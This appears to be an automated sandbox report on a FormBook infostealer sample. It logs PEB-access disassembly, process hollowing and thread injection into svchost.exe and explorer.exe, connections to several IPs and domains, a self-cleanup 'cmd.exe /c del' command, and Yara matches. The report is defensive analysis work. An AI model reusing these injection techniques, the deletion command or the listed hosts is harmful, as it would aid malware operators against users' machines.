Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h] 7_2_04EE3D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h] 7_2_04EE3D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h] 7_2_04EE3D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h] 7_2_04EE3D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h] 7_2_04EE3D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h] 7_2_04EE3D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EDAD30 mov eax, dword ptr fs:[00000030h] 7_2_04EDAD30
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE76E2 mov eax, dword ptr fs:[00000030h] 7_2_04EE76E2
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F016E0 mov ecx, dword ptr fs:[00000030h] 7_2_04F016E0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA8ED6 mov eax, dword ptr fs:[00000030h] 7_2_04FA8ED6
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F18EC7 mov eax, dword ptr fs:[00000030h] 7_2_04F18EC7
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F8FEC0 mov eax, dword ptr fs:[00000030h] 7_2_04F8FEC0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F036CC mov eax, dword ptr fs:[00000030h] 7_2_04F036CC
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F546A7 mov eax, dword ptr fs:[00000030h] 7_2_04F546A7
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA0EA5 mov eax, dword ptr fs:[00000030h] 7_2_04FA0EA5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA0EA5 mov eax, dword ptr fs:[00000030h] 7_2_04FA0EA5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA0EA5 mov eax, dword ptr fs:[00000030h] 7_2_04FA0EA5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F6FE87 mov eax, dword ptr fs:[00000030h] 7_2_04F6FE87
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE766D mov eax, dword ptr fs:[00000030h] 7_2_04EE766D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EFAE73 mov eax, dword ptr fs:[00000030h] 7_2_04EFAE73
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EFAE73 mov eax, dword ptr fs:[00000030h] 7_2_04EFAE73
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EFAE73 mov eax, dword ptr fs:[00000030h] 7_2_04EFAE73
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EFAE73 mov eax, dword ptr fs:[00000030h] 7_2_04EFAE73
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EFAE73 mov eax, dword ptr fs:[00000030h] 7_2_04EFAE73
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE7E41 mov eax, dword ptr fs:[00000030h] 7_2_04EE7E41
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE7E41 mov eax, dword ptr fs:[00000030h] 7_2_04EE7E41
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE7E41 mov eax, dword ptr fs:[00000030h] 7_2_04EE7E41
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE7E41 mov eax, dword ptr fs:[00000030h] 7_2_04EE7E41
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE7E41 mov eax, dword ptr fs:[00000030h] 7_2_04EE7E41
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE7E41 mov eax, dword ptr fs:[00000030h] 7_2_04EE7E41
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F9AE44 mov eax, dword ptr fs:[00000030h] 7_2_04F9AE44
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F9AE44 mov eax, dword ptr fs:[00000030h] 7_2_04F9AE44
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F8FE3F mov eax, dword ptr fs:[00000030h] 7_2_04F8FE3F
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EDE620 mov eax, dword ptr fs:[00000030h] 7_2_04EDE620
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0A61C mov eax, dword ptr fs:[00000030h] 7_2_04F0A61C
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0A61C mov eax, dword ptr fs:[00000030h] 7_2_04F0A61C
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EDC600 mov eax, dword ptr fs:[00000030h] 7_2_04EDC600
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EDC600 mov eax, dword ptr fs:[00000030h] 7_2_04EDC600
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EDC600 mov eax, dword ptr fs:[00000030h] 7_2_04EDC600
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F08E00 mov eax, dword ptr fs:[00000030h] 7_2_04F08E00
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F91608 mov eax, dword ptr fs:[00000030h] 7_2_04F91608
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F137F5 mov eax, dword ptr fs:[00000030h] 7_2_04F137F5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F57794 mov eax, dword ptr fs:[00000030h] 7_2_04F57794
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F57794 mov eax, dword ptr fs:[00000030h] 7_2_04F57794
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F57794 mov eax, dword ptr fs:[00000030h] 7_2_04F57794
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE8794 mov eax, dword ptr fs:[00000030h] 7_2_04EE8794
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EEFF60 mov eax, dword ptr fs:[00000030h] 7_2_04EEFF60
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA8F6A mov eax, dword ptr fs:[00000030h] 7_2_04FA8F6A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EEEF40 mov eax, dword ptr fs:[00000030h] 7_2_04EEEF40
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0E730 mov eax, dword ptr fs:[00000030h] 7_2_04F0E730
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04ED4F2E mov eax, dword ptr fs:[00000030h] 7_2_04ED4F2E
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04ED4F2E mov eax, dword ptr fs:[00000030h] 7_2_04ED4F2E
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F6FF10 mov eax, dword ptr fs:[00000030h] 7_2_04F6FF10
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F6FF10 mov eax, dword ptr fs:[00000030h] 7_2_04F6FF10
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA070D mov eax, dword ptr fs:[00000030h] 7_2_04FA070D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA070D mov eax, dword ptr fs:[00000030h] 7_2_04FA070D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EFF716 mov eax, dword ptr fs:[00000030h] 7_2_04EFF716
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0A70E mov eax, dword ptr fs:[00000030h] 7_2_04F0A70E
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0A70E mov eax, dword ptr fs:[00000030h] 7_2_04F0A70E
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04ED58EC mov eax, dword ptr fs:[00000030h] 7_2_04ED58EC
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F6B8D0 mov eax, dword ptr fs:[00000030h] 7_2_04F6B8D0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F6B8D0 mov ecx, dword ptr fs:[00000030h] 7_2_04F6B8D0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F6B8D0 mov eax, dword ptr fs:[00000030h] 7_2_04F6B8D0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F6B8D0 mov eax, dword ptr fs:[00000030h] 7_2_04F6B8D0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F6B8D0 mov eax, dword ptr fs:[00000030h] 7_2_04F6B8D0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F6B8D0 mov eax, dword ptr fs:[00000030h] 7_2_04F6B8D0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0F0BF mov ecx, dword ptr fs:[00000030h] 7_2_04F0F0BF
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0F0BF mov eax, dword ptr fs:[00000030h] 7_2_04F0F0BF
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0F0BF mov eax, dword ptr fs:[00000030h] 7_2_04F0F0BF
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F020A0 mov eax, dword ptr fs:[00000030h] 7_2_04F020A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F020A0 mov eax, dword ptr fs:[00000030h] 7_2_04F020A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F020A0 mov eax, dword ptr fs:[00000030h] 7_2_04F020A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F020A0 mov eax, dword ptr fs:[00000030h] 7_2_04F020A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F020A0 mov eax, dword ptr fs:[00000030h] 7_2_04F020A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F020A0 mov eax, dword ptr fs:[00000030h] 7_2_04F020A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F190AF mov eax, dword ptr fs:[00000030h] 7_2_04F190AF
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04ED9080 mov eax, dword ptr fs:[00000030h] 7_2_04ED9080
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F53884 mov eax, dword ptr fs:[00000030h] 7_2_04F53884
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F53884 mov eax, dword ptr fs:[00000030h] 7_2_04F53884
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F92073 mov eax, dword ptr fs:[00000030h] 7_2_04F92073
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA1074 mov eax, dword ptr fs:[00000030h] 7_2_04FA1074
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EF0050 mov eax, dword ptr fs:[00000030h] 7_2_04EF0050
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EF0050 mov eax, dword ptr fs:[00000030h] 7_2_04EF0050
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EEB02A mov eax, dword ptr fs:[00000030h] 7_2_04EEB02A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EEB02A mov eax, dword ptr fs:[00000030h] 7_2_04EEB02A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EEB02A mov eax, dword ptr fs:[00000030h] 7_2_04EEB02A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EEB02A mov eax, dword ptr fs:[00000030h] 7_2_04EEB02A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0002D mov eax, dword ptr fs:[00000030h] 7_2_04F0002D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0002D mov eax, dword ptr fs:[00000030h] 7_2_04F0002D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0002D mov eax, dword ptr fs:[00000030h] 7_2_04F0002D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0002D mov eax, dword ptr fs:[00000030h] 7_2_04F0002D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0002D mov eax, dword ptr fs:[00000030h] 7_2_04F0002D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F57016 mov eax, dword ptr fs:[00000030h] 7_2_04F57016
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F57016 mov eax, dword ptr fs:[00000030h] 7_2_04F57016
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F57016 mov eax, dword ptr fs:[00000030h] 7_2_04F57016
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA4015 mov eax, dword ptr fs:[00000030h] 7_2_04FA4015
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA4015 mov eax, dword ptr fs:[00000030h] 7_2_04FA4015
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EDB1E1 mov eax, dword ptr fs:[00000030h] 7_2_04EDB1E1
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EDB1E1 mov eax, dword ptr fs:[00000030h] 7_2_04EDB1E1
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EDB1E1 mov eax, dword ptr fs:[00000030h] 7_2_04EDB1E1
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F641E8 mov eax, dword ptr fs:[00000030h] 7_2_04F641E8
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F551BE mov eax, dword ptr fs:[00000030h] 7_2_04F551BE
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F551BE mov eax, dword ptr fs:[00000030h] 7_2_04F551BE
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F551BE mov eax, dword ptr fs:[00000030h] 7_2_04F551BE
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F551BE mov eax, dword ptr fs:[00000030h] 7_2_04F551BE
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F061A0 mov eax, dword ptr fs:[00000030h] 7_2_04F061A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F061A0 mov eax, dword ptr fs:[00000030h] 7_2_04F061A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F569A6 mov eax, dword ptr fs:[00000030h] 7_2_04F569A6
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F02990 mov eax, dword ptr fs:[00000030h] 7_2_04F02990
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EFC182 mov eax, dword ptr fs:[00000030h] 7_2_04EFC182
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0A185 mov eax, dword ptr fs:[00000030h] 7_2_04F0A185
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EDC962 mov eax, dword ptr fs:[00000030h] 7_2_04EDC962
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EDB171 mov eax, dword ptr fs:[00000030h] 7_2_04EDB171
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EDB171 mov eax, dword ptr fs:[00000030h] 7_2_04EDB171
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EFB944 mov eax, dword ptr fs:[00000030h] 7_2_04EFB944
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EFB944 mov eax, dword ptr fs:[00000030h] 7_2_04EFB944
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0513A mov eax, dword ptr fs:[00000030h] 7_2_04F0513A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0513A mov eax, dword ptr fs:[00000030h] 7_2_04F0513A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EF4120 mov eax, dword ptr fs:[00000030h] 7_2_04EF4120
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EF4120 mov eax, dword ptr fs:[00000030h] 7_2_04EF4120
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EF4120 mov eax, dword ptr fs:[00000030h] 7_2_04EF4120
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EF4120 mov eax, dword ptr fs:[00000030h] 7_2_04EF4120
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EF4120 mov ecx, dword ptr fs:[00000030h] 7_2_04EF4120
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04ED9100 mov eax, dword ptr fs:[00000030h] 7_2_04ED9100
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04ED9100 mov eax, dword ptr fs:[00000030h] 7_2_04ED9100
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04ED9100 mov eax, dword ptr fs:[00000030h] 7_2_04ED9100
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F02AE4 mov eax, dword ptr fs:[00000030h] 7_2_04F02AE4
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F02ACB mov eax, dword ptr fs:[00000030h] 7_2_04F02ACB
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0FAB0 mov eax, dword ptr fs:[00000030h] 7_2_04F0FAB0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04ED52A5 mov eax, dword ptr fs:[00000030h] 7_2_04ED52A5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04ED52A5 mov eax, dword ptr fs:[00000030h] 7_2_04ED52A5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04ED52A5 mov eax, dword ptr fs:[00000030h] 7_2_04ED52A5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04ED52A5 mov eax, dword ptr fs:[00000030h] 7_2_04ED52A5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04ED52A5 mov eax, dword ptr fs:[00000030h] 7_2_04ED52A5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EEAAB0 mov eax, dword ptr fs:[00000030h] 7_2_04EEAAB0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EEAAB0 mov eax, dword ptr fs:[00000030h] 7_2_04EEAAB0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0D294 mov eax, dword ptr fs:[00000030h] 7_2_04F0D294
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0D294 mov eax, dword ptr fs:[00000030h] 7_2_04F0D294
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F1927A mov eax, dword ptr fs:[00000030h] 7_2_04F1927A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F8B260 mov eax, dword ptr fs:[00000030h] 7_2_04F8B260
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F8B260 mov eax, dword ptr fs:[00000030h] 7_2_04F8B260
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA8A62 mov eax, dword ptr fs:[00000030h] 7_2_04FA8A62
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F64257 mov eax, dword ptr fs:[00000030h] 7_2_04F64257
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F9EA55 mov eax, dword ptr fs:[00000030h] 7_2_04F9EA55
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04ED9240 mov eax, dword ptr fs:[00000030h] 7_2_04ED9240
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04ED9240 mov eax, dword ptr fs:[00000030h] 7_2_04ED9240
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04ED9240 mov eax, dword ptr fs:[00000030h] 7_2_04ED9240
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04ED9240 mov eax, dword ptr fs:[00000030h] 7_2_04ED9240
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F14A2C mov eax, dword ptr fs:[00000030h] 7_2_04F14A2C
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F14A2C mov eax, dword ptr fs:[00000030h] 7_2_04F14A2C
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE8A0A mov eax, dword ptr fs:[00000030h] 7_2_04EE8A0A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F9AA16 mov eax, dword ptr fs:[00000030h] 7_2_04F9AA16
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F9AA16 mov eax, dword ptr fs:[00000030h] 7_2_04F9AA16
Enables debug privileges
Source: C:\Windows\SysWOW64\svchost.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Code function: 0_2_10001527 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_10001527

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 3.34.109.201 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.northernbackflow.com
Source: C:\Windows\explorer.exe Domain query: www.centerplans.com
Source: C:\Windows\explorer.exe Domain query: www.seroungift.com
Source: C:\Windows\explorer.exe Network Connect: 180.150.102.39 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.crickescore.com
Source: C:\Windows\explorer.exe Network Connect: 184.168.131.241 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.puzed.net
Source: C:\Windows\explorer.exe Domain query: www.theboundless.life
Source: C:\Windows\explorer.exe Domain query: www.thebestcoffeeshops.com
Source: C:\Windows\explorer.exe Domain query: www.1800quilts.com
Source: C:\Windows\explorer.exe Domain query: www.xiangyuwenhua.com
Source: C:\Windows\explorer.exe Network Connect: 45.192.92.174 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.carboncuriosity.com
Source: C:\Windows\explorer.exe Network Connect: 103.20.212.182 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.szzyhjj.com
Source: C:\Windows\explorer.exe Network Connect: 80.237.133.185 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 34.102.136.180 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 85.233.160.23 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 60.205.226.138 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.amwajcare.com
Source: C:\Windows\explorer.exe Domain query: www.makeoverfurn.com
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Section loaded: unknown target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Section loaded: unknown target: C:\Windows\SysWOW64\msdt.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Section loaded: unknown target: C:\Windows\SysWOW64\msdt.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\SysWOW64\svchost.exe Thread register set: target process: 3424 Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Thread register set: target process: 3424 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Windows\SysWOW64\svchost.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Sample uses process hollowing technique
Source: C:\Windows\SysWOW64\svchost.exe Section unmapped: C:\Windows\SysWOW64\msdt.exe base address: B00000 Jump to behavior
Writes to foreign memory regions
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Memory written: C:\Windows\SysWOW64\svchost.exe base: 2EE7008 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Process created: C:\Windows\SysWOW64\svchost.exe 'C:\Users\user\Desktop\SWIFT 00395_IMG.exe' Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Windows\SysWOW64\svchost.exe' Jump to behavior
Source: explorer.exe, 00000004.00000002.917780471.0000000000AD8000.00000004.00000020.sdmp Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000004.00000000.669189471.0000000001080000.00000002.00000001.sdmp, msdt.exe, 00000007.00000002.919148327.0000000003640000.00000002.00000001.sdmp Binary or memory string: Program Manager
Source: explorer.exe, 00000004.00000000.669189471.0000000001080000.00000002.00000001.sdmp, msdt.exe, 00000007.00000002.919148327.0000000003640000.00000002.00000001.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000004.00000000.669189471.0000000001080000.00000002.00000001.sdmp, msdt.exe, 00000007.00000002.919148327.0000000003640000.00000002.00000001.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000004.00000000.669189471.0000000001080000.00000002.00000001.sdmp, msdt.exe, 00000007.00000002.919148327.0000000003640000.00000002.00000001.sdmp Binary or memory string: Progmanlock
Source: explorer.exe, 00000004.00000000.691742303.000000000A716000.00000004.00000001.sdmp Binary or memory string: Shell_TrayWnd5D
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Code function: 0_2_00403461 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_00403461

Stealing of Sensitive Information:

barindex
Yara detected FormBook
Source: Yara match File source: 00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.918989444.0000000003110000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.711497215.0000000000D60000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.711385222.0000000000D30000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.665787832.0000000003040000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SWIFT 00395_IMG.exe.3040000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SWIFT 00395_IMG.exe.3040000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE

Remote Access Functionality:

barindex
Yara detected FormBook
Source: Yara match File source: 00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.918989444.0000000003110000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.711497215.0000000000D60000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.711385222.0000000000D30000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.665787832.0000000003040000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SWIFT 00395_IMG.exe.3040000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SWIFT 00395_IMG.exe.3040000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
